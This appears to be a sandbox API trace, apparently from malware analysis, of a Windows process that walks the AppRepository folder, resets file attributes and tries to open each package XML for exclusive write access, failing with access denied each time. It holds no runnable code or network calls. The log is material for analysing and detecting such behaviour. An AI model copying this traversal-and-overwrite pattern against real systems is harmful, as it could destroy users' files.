	[0090.510] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.510] GetLastError () returned 0x5
	[0090.510] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e124d0) returned 1
	[0090.510] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe702f6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Families", cAlternateFileName="")) returned 1
	[0090.510] wcscmp (_String1="Families", _String2=".") returned 1
	[0090.510] wcscmp (_String1="Families", _String2="..") returned 1
	[0090.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82dd8
	[0090.510] wcscpy (in: _Dest=0x2d82dd8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.511] wcscat (in: _Dest=0x2d82dd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.511] wcscat (in: _Dest=0x2d82dd8, _Source="Families" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families"
	[0090.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bcc90
	[0090.511] wcscpy (in: _Dest=0x47bcc90, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families"
	[0090.511] wcscat (in: _Dest=0x47bcc90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families\\"
	[0090.511] wcscat (in: _Dest=0x47bcc90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families\\*"
	[0090.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c6e0
	[0090.511] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Families\\*", lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe702f6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.511] wcscmp (_String1=".", _String2=".") returned 0
	[0090.511] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe702f6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.511] wcscmp (_String1="..", _String2=".") returned 1
	[0090.511] wcscmp (_String1="..", _String2="..") returned 0
	[0090.511] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe702f6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.511] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c6e0) returned 1
	[0090.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcc90) returned 1
	[0090.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0090.511] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9775076f, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x9775076f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x9775076f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x2443, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml", cAlternateFileName="HOLOCA~1.XML")) returned 1
	[0090.511] wcscmp (_String1="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.511] wcscmp (_String1="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4926008
	[0090.511] wcscpy (in: _Dest=0x4926008, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.511] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.511] wcscat (in: _Dest=0x4926008, _Source="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"
	[0090.512] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.512] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.512] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.512] GetLastError () returned 0x5
	[0090.512] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0090.513] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x982a3a59, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x982a3a59, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x982a3a59, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml", cAlternateFileName="HOLOIT~1.XML")) returned 1
	[0090.513] wcscmp (_String1="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.513] wcscmp (_String1="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717f40
	[0090.513] wcscpy (in: _Dest=0x4717f40, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.513] wcscat (in: _Dest=0x4717f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.513] wcscat (in: _Dest=0x4717f40, _Source="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml"
	[0090.513] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.513] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.513] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.514] GetLastError () returned 0x5
	[0090.514] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717f40) returned 1
	[0090.514] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98dd0af7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x98dd0af7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x98dd0af7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x67ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml", cAlternateFileName="HOLOSH~1.XML")) returned 1
	[0090.514] wcscmp (_String1="HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.514] wcscmp (_String1="HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4717c00
	[0090.514] wcscpy (in: _Dest=0x4717c00, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.514] wcscat (in: _Dest=0x4717c00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.514] wcscat (in: _Dest=0x4717c00, _Source="HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"
	[0090.514] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0090.515] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.515] GetLastError () returned 0x5
	[0090.515] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0090.515] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbfc5d3, ftCreationTime.dwHighDateTime=0x1d3271f, ftLastAccessTime.dwLowDateTime=0xefbfc5d3, ftLastAccessTime.dwHighDateTime=0x1d3271f, ftLastWriteTime.dwLowDateTime=0xefbfc5d3, ftLastWriteTime.dwHighDateTime=0x1d3271f, nFileSizeHigh=0x0, nFileSizeLow=0x3ff1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MI0C82~1.XML")) returned 1
	[0090.515] wcscmp (_String1="Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.515] wcscmp (_String1="Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.515] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477ec70
	[0090.515] wcscpy (in: _Dest=0x477ec70, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.515] wcscat (in: _Dest=0x477ec70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.515] wcscat (in: _Dest=0x477ec70, _Source="Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.515] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.516] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.516] GetLastError () returned 0x5
	[0090.516] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ec70) returned 1
	[0090.516] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb36a65a0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb36a65a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb36a65a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml", cAlternateFileName="MI064A~1.XML")) returned 1
	[0090.516] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.516] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776a60
	[0090.516] wcscpy (in: _Dest=0x4776a60, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.516] wcscat (in: _Dest=0x4776a60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.516] wcscat (in: _Dest=0x4776a60, _Source="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"
	[0090.516] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.516] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.517] GetLastError () returned 0x5
	[0090.517] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0090.517] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb38bc697, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb38bc697, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb38bc697, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml", cAlternateFileName="MI615A~1.XML")) returned 1
	[0090.517] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.517] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.517] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778060
	[0090.517] wcscpy (in: _Dest=0x4778060, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.517] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.517] wcscat (in: _Dest=0x4778060, _Source="Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"
	[0090.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.517] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.517] GetLastError () returned 0x5
	[0090.517] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
	[0090.517] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.517] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30b0778, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb30b0778, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb30b0778, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x46bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml", cAlternateFileName="MIE657~1.XML")) returned 1
	[0090.518] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml", _String2=".") returned 1
	[0090.518] wcscmp (_String1="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml", _String2="..") returned 1
	[0090.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477df50
	[0090.518] wcscpy (in: _Dest=0x477df50, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.518] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.518] wcscat (in: _Dest=0x477df50, _Source="Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml"
	[0090.518] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0090.518] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe.xml", dwFileAttributes=0x20) returned 0
